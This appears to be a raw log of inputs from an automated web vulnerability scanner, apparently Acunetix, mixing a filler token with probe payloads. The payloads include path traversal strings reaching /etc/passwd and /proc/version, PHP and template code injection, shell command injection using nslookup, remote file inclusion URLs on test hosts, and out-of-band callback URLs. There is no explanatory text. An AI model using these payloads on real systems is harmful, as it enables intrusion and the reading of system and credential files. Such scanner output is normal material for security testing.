pHqghUme

0

<!--

pHqghUme

\

1

pHqghUme

0

'"

pHqghUme

1'"

1

pHqghUme

<!--

1

pHqghUme

0

WEB-INF\web.xml

pHqghUme

'"

1

pHqghUme

0

review/.

pHqghUme

0

${@print(md5(acunetix_wvs_security_test))}\

pHqghUme

0

/WEB-INF/web.xml

pHqghUme

0

/www.vulnweb.com

pHqghUme

0

review

pHqghUme

0

${@print(md5(acunetix_wvs_security_test))}

pHqghUme

0

WEB-INF/web.xml

pHqghUme

/www.vulnweb.com

1

pHqghUme

0

";print(md5(acunetix_wvs_security_test));$a="

pHqghUme

0

review

pHqghUme

0

testasp.vulnweb.com

pHqghUme

0

/\../\../\../\../\../\../\../etc/passwd

pHqghUme

0

http://hithxc9KPNkqQ.bxss.me/

pHqghUme

0

';print(md5(acunetix_wvs_security_test));$a='

pHqghUme

review/.

1

pHqghUme

0

http://testasp.vulnweb.com/t/fit.txt?.jpg

pHqghUme

0

file:///etc/passwd

pHqghUme

0

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

pHqghUme

0

;print(md5(acunetix_wvs_security_test));

pHqghUme

review

1

pHqghUme

0

Http://testasp.vulnweb.com/t/fit.txt

pHqghUme

http://hitzZTIfOPPDN.bxss.me/

1

pHqghUme

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

pHqghUme

0

invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

pHqghUme

${@print(md5(acunetix_wvs_security_test))}\

1

pHqghUme

review

1

pHqghUme

0

1some_inexistent_file_with_long_name.jpg

pHqghUme

${@print(md5(acunetix_wvs_security_test))}

1

pHqghUme

0

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

pHqghUme

0

^(#$!@#$)(()))******

pHqghUme

";print(md5(acunetix_wvs_security_test));$a="

1

pHqghUme

0

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

pHqghUme

testasp.vulnweb.com

1

pHqghUme

0

!(()&&!|*|*|

pHqghUme

';print(md5(acunetix_wvs_security_test));$a='

1

pHqghUme

0

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

pHqghUme

http://testasp.vulnweb.com/t/fit.txt?.jpg

1

pHqghUme

0

)

pHqghUme

;print(md5(acunetix_wvs_security_test));

1

pHqghUme

0

/.././.././.././.././.././.././.././../etc/./passwd%00

pHqghUme

0

http://testasp.vulnweb.com/t/xss.html?%00.jpg

pHqghUme

0

'"()

pHqghUme

Http://testasp.vulnweb.com/t/fit.txt

1

pHqghUme

^(#$!@#$)(()))******

1

pHqghUme

http://testasp.vulnweb.com/t/xss.html?%00.jpg

1

pHqghUme

0

%2fetc%2fpasswd

pHqghUme

1some_inexistent_file_with_long_name.jpg

1

pHqghUme

!(()&&!|*|*|

1

pHqghUme

'"()

1

pHqghUme

0

1&n929305=v947109

pHqghUme

0

/etc/passwd

pHqghUme

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

pHqghUme

)

1

pHqghUme

0

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

pHqghUme

0&n914444=v996843

1

pHqghUme

0

/../..//../..//../..//../..//../..//etc/passwd.jpg

pHqghUme

0

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

pHqghUme

1

pHqghUme

0

../../../../../../../../../../etc/passwd.jpg

pHqghUme

0

&nslookup mJR8nGGu&'\"`0&nslookup mJR8nGGu&`'

pHqghUme

0

${9999004+9999110}

pHqghUme

0

1

pHqghUme

0

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

pHqghUme

0

$(nslookup hXInwa5a)

pHqghUme

${10000482+9999051}

1

pHqghUme

0

../../../../../../../../../../../../../../../proc/version

pHqghUme

0

1gWrgPzm

pHqghUme

0

set|set&set

pHqghUme

0

../../../../../../../../../../etc/passwd

pHqghUme

0

response.write(9189685*9722800)

pHqghUme

response.write(9251131*9912819)

1

pHqghUme

0

1

pHqghUme

response.write(9251131*9912819)

1

pHqghUme

0

1

pHqghUme

1